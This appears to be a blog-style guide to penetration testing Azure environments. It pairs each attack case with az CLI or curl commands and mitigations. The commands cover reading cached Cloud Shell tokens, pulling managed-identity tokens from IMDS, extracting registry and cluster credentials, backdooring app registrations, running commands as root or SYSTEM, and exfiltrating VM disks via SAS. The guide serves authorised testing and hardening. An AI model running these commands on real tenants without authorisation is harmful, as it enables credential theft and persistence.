Azure Cloud Penetration Testing Guide: A Complete Technical Blueprint

Cloud security is a cornerstone of modern enterprise defense, and Azure penetration testing has become a top priority for organizations relying on Microsoft’s cloud ecosystem. Unlike traditional on-prem infrastructures, Azure environments present a complex mix of identity-based security controls, network segmentation, SaaS integrations, and PaaS services. For penetration testers and security professionals, mastering these nuances is crucial to simulate real-world adversaries effectively.

This comprehensive guide provides a structured methodology to conduct Azure cloud penetration testing—from initial enumeration to exploitation and post-exploitation—designed for intermediate to senior security professionals.

Table of Contents

• Why Azure Penetration Testing Matters
• Pre-Engagement Rules and Scoping
• Understanding Azure Architecture
• Azure Attacks & Test Cases
  • Azure Portal access for all users (tenant-wide info leak)
  • Anonymous service discovery via Azure DNS suffixes
  • Azure Storage Blob scanning (anonymous)
  • Tenant enumeration (OpenID config)
  • Azure Cloud Shell extract access token (session abuse)
  • ACR pulls images with Reader account (misconfig paths)
  • ACR extract admin password (if enabled)
  • AKS gathers kubectl credentials
  • Azure Functions access keysare stored in Storage by default
  • Backdoor Azure Applications & Abuse Service Principals
  • Exploit VM Managed Identity (MSI)
  • VM Run Command (Linux & Windows) escalation via Contributor
  • Exfiltration of VM disks (SAS grant)
  • Dump credentials from App Service (Kudu/SCM)
• Tooling quick-reference

Why Azure Penetration Testing Matters

Microsoft Azure hosts over 70% of Fortune 500 companies, making it a prime target for threat actors. While Microsoft provides robust security controls, misconfigurations, weak identity management, and excessive permissions remain the biggest attack surfaces.

Penetration testing Azure environments helps organizations:

• Identify insecure default configurations.
• Detect excessive privileges and role misassignments.
• Expose overlooked attack paths such as Azure AD abuse or service principal compromise.
• Strengthen incident response and detection capabilities.

“Cloud misconfiguration is still the number one cause of breaches in cloud environments.” Gartner 2024 Security Report

Pre-Engagement Rules and Scoping

Before launching any testing activity, clear rules of engagement must be established to remain compliant with Microsoft’s Cloud Penetration Testing Rules.

Key Scoping Considerations

• Scope definition: Clearly list all tenants, subscriptions, and resources in scope.
• Testing approvals: Obtain explicit approval from the Azure tenant owner.
• Third-party services: Check terms of service if testing involves integrations like M365, GitHub, or Power BI.
• Out-of-scope targets: Microsoft explicitly forbids targeting shared infrastructure or Azure-hosted services outside the tenant.

Tip: Use a signed Rules of Engagement (RoE) document to protect both the testing team and the client.

Understanding Azure Architecture

A solid understanding of Azure’s structure is essential to identify attack vectors. Azure resources are organized in a hierarchical model:

1. Tenant → represents the organization’s identity boundary (Azure AD).
2. Management Groups → used to manage multiple subscriptions.
3. Subscriptions → billing and access boundary.
4. Resource Groups → logical containers for resources.
5. Resources → virtual machines, storage accounts, databases, Key Vaults, etc.

Key security layer: Azure Active Directory (Entra ID) controls access across Azure, M365, and connected SaaS applications. Most attacks pivot around identity and permissions here.

Azure Attacks & Test Cases

Azure Portal access for all users (tenant-wide info leak)

Why it matters: By default, any user can browse the Azure portal surface and enumerate some tenant objects and app connections.

Check

• Entra ID → Users → User settings → Restrict access to Azure portal (a.k.a. “Users can access the Azure portal”).
• Review sign-in logs for low-privilege accounts accessing portal.

Mitigation

• Set Restrict access to Admins only for production tenants.
• Combine with Conditional Access (MFA, compliant devices).

Anonymous service discovery via Azure DNS suffixes

Goal: Find accidentally exposed services by fuzzing common Azure DNS zones (read-only checks only).

Targets

• Storage: .blob.core.windows.net, .file.core.windows.net, .queue.core.windows.net, .table.core.windows.net
• App Services: .azurewebsites.net, SCM: .scm.azurewebsites.net
• Key Vault: .vault.azure.net
• Data: .database.windows.net, .documents.azure.com (Cosmos)
• Containers/Images: .azurecontainer.io, .azurecr.io
• Perimeter/CDN/Search: .azureedge.net, .azure-api.net, .search.windows.net

Safe triage

# Resolve candidate hostnames without sending requests to app paths
dig +short myapp.azurewebsites.net
dig +short mystorage.blob.core.windows.net

Mitigation

• Disable public endpoints where not needed; prefer Private Endpoints + firewall allowlists.

Azure Storage Blob scanning (anonymous)

Goal: Detect publicly listable/READable containers.

Safe check

# Inventory
az graph query -q "Resources | where type=='microsoft.storage/storageaccounts' | project name,rg=resourceGroup,allowBlobPublicAccess=properties.allowBlobPublicAccess"

# Spot-test (anonymous listing)
az storage blob list \\\\
  --account-name <acct> \\\\
  --container-name <container> \\\\
  --auth-mode login \\\\
  --output table
# If anonymous listing is possible, stop; don’t download data.

Mitigation

• allowBlobPublicAccess=false, require SAS with short expiry, enable logging.

Tenant enumeration (OpenID config)

Goal: Identify tenant ID and endpoints safely.

curl -s <https://login.microsoftonline.com/><org-domain>/.well-known/openid-configuration | jq '.issuer,.authorization_endpoint,.token_endpoint'

What to expect: Tenant (GUID) revealed via issuer; use only for scoping. Mitigation: None needed—public metadata by design. Use branding and monitoring to reduce phishing utility.

Azure Cloud Shell extract access token (session abuse)

Goal: Reuse cached bearer tokens from a compromised Cloud Shell.

# Inside Cloud Shell
cat ~/.azure/accessTokens.json

Evidence: JWTs scoped to ARM/Graph. Mitigation: Disable Cloud Shell for non-admins, enforce re-auth, monitor Cloud Shell app sign-ins, shorten token lifetimes.

ACR pull images with Reader account (misconfig paths)

Risk patterns

• Admin user enabled on ACR → static username/password usable by broader roles.
• Anonymous pull enabled (registry-level) → public read of images.

Checks

az acr show -n <registry> -g <rg> --query "{adminUserEnabled:adminUserEnabled, policies:policies}"
az role assignment list --scope $(az acr show -n <registry> --query id -o tsv) -o table

What to look for

• adminUserEnabled: true
• Assignments where low-priv roles can indirectly pull (e.g., via pipeline agents or mis-scoped custom role).

Mitigation

• Disable admin user; require AcrPull on least-priv scopes; consider private link for build/AKS paths.

ACR extract admin password (if enabled)

Goal: Retrieve ACR admin creds (high impact if someone left it on).

# Requires adequate rights on ACR resource
az acr credential show -n <registry>

Mitigation

• Set adminUserEnabled=false, rotate any leaked creds, prefer MSI/OIDC for CI.

AKS gather kubectl credentials

Goal: Obtain cluster credentials from control plane (if caller has rights).

az aks get-credentials -g <rg> -n <aks> --overwrite-existing
kubectl get pods -A

What to expect: If Azure AD/RBAC is weak, this yields cluster-admin or broad namespace access. Mitigation: Enforce Azure AD for AKS, granular Kubernetes RBAC, and least-priv on get-credentials.

Azure Functions access keys stored in Storage by default

Goal: Read Function host keys if Storage is weakly secured.

# Common secrets container
az storage blob list \\\\
  --account-name <func_storage_acct> \\\\
  --container-name azure-webjobs-secrets \\\\
  --auth-mode login -o table

Mitigation

• Lock Storage with Private Endpoints; Key Vault references for secrets; rotate function keys.

Backdoor Azure Applications & abuse Service Principals

Goal: Persistence via app creds/owners/permissions.

Common abuse paths

• Add a new credential to an existing App Reg
• Grant API permissions (Graph/ARM) and admin-consent
• Add yourself as App Owner for re-entry

Commands

# Add new secret to app
az ad app credential reset --id <APP_ID> --append --display-name "ops-automation" --years 1

# Add owner
az ad app owner add --id <APP_ID> --owner-object-id <ATTACKER_OBJECT_ID>

# Grant permissions (careful; needs admin rights)
az ad app permission add   --id <APP_ID> --api <RESOURCE_APP_ID> --api-permissions <PERM_ID>=Role
az ad app permission grant --id <APP_ID> --api <RESOURCE_APP_ID>

Mitigation

• Restrict who can modify app registrations and grant consent; PIM for App Admin; alert on new app credentials/owners.

Exploit VM Managed Identity (MSI)

Goal: Pull an ARM/Graph token from the instance metadata endpoint (IMDS).

curl -H "Metadata:true" \\\\
  "<http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com>"

Mitigation

• Use NSG/DNS egress controls; prefer user-assigned identities with narrow scopes; monitor IMDS access.

VM Run Command (Linux & Windows) escalation via Contributor

Goal: Execute commands as root (Linux) or NT AUTHORITY\SYSTEM (Windows) when you have Microsoft.Compute/*/runCommand via Contributor.

# Linux
az vm run-command invoke -g <rg> -n <vm> --command-id RunShellScript --scripts "id"

# Windows
az vm run-command invoke -g <rg> -n <vm> --command-id RunPowerShellScript --scripts "whoami"

Mitigation

• Replace Contributor with custom roles that exclude Run Command; JIT + Bastion for maintenance.

Exfiltration of VM disks (SAS grant)

Goal: Obtain a time-bound SAS URL to read VHD contents.

az disk grant-access --name <diskName> --resource-group <rg> --duration-in-seconds 3600

Mitigation

• Limit who can manage disks; disable broad Contributor at RG/subscription; alert on grant-access operations.

Dump credentials from App Service (Kudu/SCM)

Goal: Enumerate environment variables and settings via Kudu if reachable.

# If SCM is accessible and auth misconfigured
curl -u <user>:<pass> https://<app>.scm.azurewebsites.net/api/settings
# Or via CLI (safer)
az webapp config appsettings list -g <rg> -n <app>

Mitigation

• Protect Kudu with strong auth; move secrets to Key Vault references; disable FTP/Basic where possible.

Tooling quick-reference

• MicroBurst: discovery, weak config audit, post-ex (creds dump)
• LAVA: Azure exploitation framework
• MFASweep / MSOLSpray / O365Creeper: auth surface testing
• PowerZure: reconnaissance + exploitation across Azure/Entra

Tooling quick-reference

How to weave these into your report

• Add each item as a discrete finding where applicable: Description → Affected resources → Evidence (command + redacted output) → Impact → Remediation → Detection (KQL/Activity Log op) → Owner & ETA.
• For retest, re-run the same commands/queries and attach before/after snippets.

Expert Sources Referenced

• Microsoft Cloud Penetration Testing Rules of Engagement
• https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/index.html
• https://www.sans.org/webcasts/sans-workshop-building-azure-pentest-lab-red-teams/